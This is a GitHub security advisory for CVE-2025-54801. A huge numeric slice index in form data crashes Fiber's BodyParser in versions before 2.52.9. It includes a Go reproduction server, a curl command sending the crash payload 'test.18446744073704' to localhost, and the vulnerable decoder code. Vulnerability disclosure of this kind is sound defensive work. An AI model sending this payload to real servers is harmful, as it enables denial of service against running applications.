GitHub Advisoryadvisory · Go

GHSA-qx2q-88mx-vhg7 Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder

HIGH Published 2025-08-05 Modified 2025-08-06 Official page ↗
Aliases
CVE-2025-54801
Ecosystem
Go
Packages
github.com/gofiber/fiber/v2
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-789
Reviewed
2025-08-05

Affected packages

• Go github.com/gofiber/fiber/v2: < 2.52.9 → fixed in 2.52.9

Description

Description When using Fiber's `Ctx.BodyParser` to parse form data containing a large numeric key that represents a slice index (e.g., `test.18446744073704`), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder. The root cause is that the decoder attempts to allocate a slice of length `idx + 1` without validating whether the index is within a safe or reasonable range. If `idx` is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash. Steps to Reproduce Create a POST request handler that accepts `x-www-form-urlencoded` data ```go package main import ( "fmt" "net/http" "github.com/gofiber/fiber/v2" ) type RequestBody struct { NestedContent []*struct{} `form:"test"` } func main() { app := fiber.New() app.Post("/", func(c *fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } return nil }) fmt.Println(app.Listen(":3000")) } ``` Run the server and send a POST request with a large numeric key in form data, such as: ```bash curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \ -H 'Content-Type: application/x-www-form-urlencoded' ``` Relevant Code Snippet Within the decoder's decode method: ```go idx := parts[0].index if v.IsNil() || v.Len() < idx+1 { value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge if v.Len() < idx+1 { reflect.Copy(value, v) } v.Set(value) } ``` The `idx` is not validated before use, leading to unsafe slice allocation for extremely large values. --- Impact • Application panic or crash on malicious or malformed input. • Potential denial of service (DoS) via memory exhaustion or server crash. • Lack of defensive checks in the parsing code causes instability.

Related

Alias · CVE (1)

  • CVE-2025-54801 Fiber is an Express inspired web framework written in Go. vulnerability

Weakness · CWE (1)

  • CWE-789 Memory Allocation with Excessive Size Value weakness

References